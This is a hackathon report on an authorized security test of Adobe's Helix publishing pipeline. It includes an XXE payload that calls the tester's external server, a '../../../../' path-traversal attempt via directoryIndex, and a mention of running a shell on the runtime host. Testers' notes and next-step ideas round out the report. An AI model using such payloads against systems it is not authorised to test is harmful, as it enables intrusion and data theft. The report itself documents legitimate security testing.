Helix Hackathon #5

General

Date: 23 May 2019

Location: https://github.com/adobe/helix-home/blob/master/hackathons/5-bsl.md

Attendees: Alex Collignon Antonio Sanso Lars Krapf

Topics

- Helix Security

Summary

This short document is a summary of an attempt of penetration testing performed against Helix.

Methodology

The initial plan was to act as a malicious author and escape the XSS sandbox as done in https://github.com/adobe/helix-pipeline/issues/253 .

The problem with that approach was that in the meantime Helix project added the possibility to directly add HTML and Javascript making this bug obsolete.

We discussed this during the day with various member of the Helix team and the outcome was that the author is not considered to be malicious within their own domain.

Gven the circumstance I focused my attention to 3 different class of bugs: *XXE, Path traversal, DOS*

Research

XXE

I placed a typical XXE payload in the HTML page checking if any of the parties involved in the Helix pipeline would hit my server,

```
<?xml version="1.0" encoding="ISO-8859-1"?>
```

```
<!DOCTYPE  Prod [<!ENTITY xxe SYSTEM "http://antoniosanso.appspot.com/lol"
>]>
<Prod>
<Type>abc</Type>
<name>Bugcrowd</name>
<id>&xxe;</id>
</Prod>
```

Result: no XEE vulnerabilities found

Path Traversal

As per Helix's documentation it is possible to override the Directory index:

> The default behavior for directory indexes is to load index.html when requesting a path ending with /,
> so that /foo/bar/ becomes /foo/bar/index.html. This setting can be overwritten in helix-config.yaml
> by adding an index property

```
strains:
  - name: default
    code: https://github.com/adobe/project-helix.io.git#master
    content: https://github.com/adobe/project-helix.io.git#master
    static: https://github.com/adobe/project-helix.io.git/htdocs#master
    directoryIndex: README.html
```

I tried to do some path traversal with the directoryIndex feature doing something like directoryIndex: ../../../../README.html. This was prevented by proper regex in the Helix codebase.

Result: no Path Traversal found

Research ideas for next time

- Try to bypass the cache protection in order to DOS

  Every request parameter is a potential cache-buster and given that
  modern web application practices liberally append request parameters for
  tracking purposes or to manage state for client-side applications, Helix filters out
  all request parameters by default.

  This means, the client side of your application will still be able to
  access request parameters, but your server(less)-side scripts and
  templates will not see any parameters.

> If you need to pass request parameters, you can whitelist the parameters you need using the strain.params configuration. The value of >params is an array of whitelisted parameter names.

- Try XXE against the ESI implementation
- Introduce a sensible CSP and see how it fits the archtecture
- Define a basic threat-model and security goals/non-goals of Helix
- XSS in the authoring tools?

Personal log, Lars Krapf:

I too had a good field trip, even though there was not much actual penetration testing for me since I've spent most of my time setting up the pipeline and playing around with it.

Like Alex Collignon already mentioned we ran a shell on the Adobe Runtime host running the respective Openwhisk action - it looks like an Ethos on Mesos docker container, and AFAICT they seem to have followed all best practices in setting that up.

Apart from this I had several fruitful discussions with the whole team, mostly around XSS and CSP. David was adamant on allowing authors to inject arbitrary HTML/JS in the markdown by default. If the domains are properly separated, I currently don't see a problem with that.

However, it became obvious is that the security boundaries are currently mostly undefined, which made it rather impossible to do offensive security testing just yet. As a next step we recommend to do some threat modelling, and for them to define the basic security architecture of the entire Helix pipeline.

TL;DR Fun and definitely worthwhile. Looking forward to next time.

Personal log, Alex Collignon:

I spent most of my time setting up the environment, playing around with live content publication and discussing security topics with Lars Krapf and the helix folks. See Lars Krapf's notes. Quoting my own email

> I think it was useful to be with the helix team, the security work has yet to be started.
> If Helix becomes one of our focus, then we need to allocate more time."